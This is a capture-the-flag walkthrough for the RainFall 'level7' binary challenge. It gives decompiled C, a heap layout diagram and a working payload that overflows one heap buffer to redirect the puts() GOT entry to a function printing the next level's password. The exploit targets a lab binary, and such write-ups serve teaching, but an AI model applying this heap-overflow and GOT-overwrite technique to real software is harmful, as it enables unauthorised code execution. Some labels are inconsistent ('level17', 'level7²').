

./level17



RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH	FILE
No RELRO	No canary found	NX disabled	No PIE	No RPATH	No RUNPATH	/home/user/level7/level17

level7@RainFall:~\$

Decompiled file with **Ghidra**:

```
char c[80];
```

```
void m(void *param_1, int param_2, char *param_3, int param_4, int param_5)
{
    time_t currentTime;

    currentTime = time(NULL);
    printf("%s - %d\n", c, currentTime);

    return;
}
```

```
int main(int argc, char **argv)
{
    int *intPtr1;
    void *data;
    int *intPtr2;
    FILE *fileStream;

    intPtr1 = (int *)malloc(8);
    *intPtr1 = 1;
    data = malloc(8);
    intPtr1[1] = data;

    intPtr2 = (int *)malloc(8);
    *intPtr2 = 2;
    data = malloc(8);
    intPtr2[1] = data;

    strcpy((char *)intPtr1[1], argv[1]);
    strcpy((char *)intPtr2[1], argv[2]);

    fileStream = fopen("/home/user/level8/.pass", "r");
    fgets(c, 0x44, fileStream);
    puts("~~");

    return 0;
}
```



./level7²

Upon examination, we discern the objective of this level.

The `.pass` file is opened, its contents are read, and then stored in a *global variable* named `c`.

The sole method to access `c` is via the `printf` in the `m()` function, which the `main` doesn't invoke.

Noticing that after the data is fetched into the `c` variable, there's only one function call, our strategy will be to replace that `puts()` with `m()` to display the file's contents on *stdout*.

We have four consecutive calls to `malloc(8)`.

The first and third allocations create space for *integer pointers*. In both, the first integer is used as an id, while the second integer stores the address of a newly allocated memory block. These blocks are immediately allocated after by the second and fourth `malloc` calls, respectively, holding generic data.

After these allocations, `strcpy()` is set to transfer our command-line arguments into these blocks.

```
strcpy((char *)intPtr1[1], argv[1]);
strcpy((char *)intPtr2[1], argv[2]);
```

The goal is clear: exploit the *overflow* from the first argument to modify the address stored in `intPtr2[1]`. This way, the next `strcpy()` will write the second argument's value to our desired address.

Now we just need the GOT entry for `puts()` and the address of the `m()` function:

```
08049928    14 a0 04 08    addr    <EXTERNAL>::puts
0x80484f4    <m>
```

Heap *before* and *after* buffer overflow:

					bookkeeping	41	41	41	41	41	41	41	41	41	41	41	41	41	41	&puts				
00	00	00	01	&data		00	00	00	00	00	00	00	00	00	00	00	01	00	01	00	00	00	10	&data
[0]		[1]				0	1	2	3	4	5	6	7	prev_size		size		[0]			[1]			
intPtr1						data							bookkeeping					intPtr2						



```
level7@RainFall:~$ ./level7 $(python -c '
print "A"*20 + "\x28\x99\x04\x08 \xf4\x84\x04\x08"')
```

```
5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
- 1697213803
```

```
level7@RainFall:~$ su level8
```

```
Password: 5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
```

```
level8@RainFall:~$
```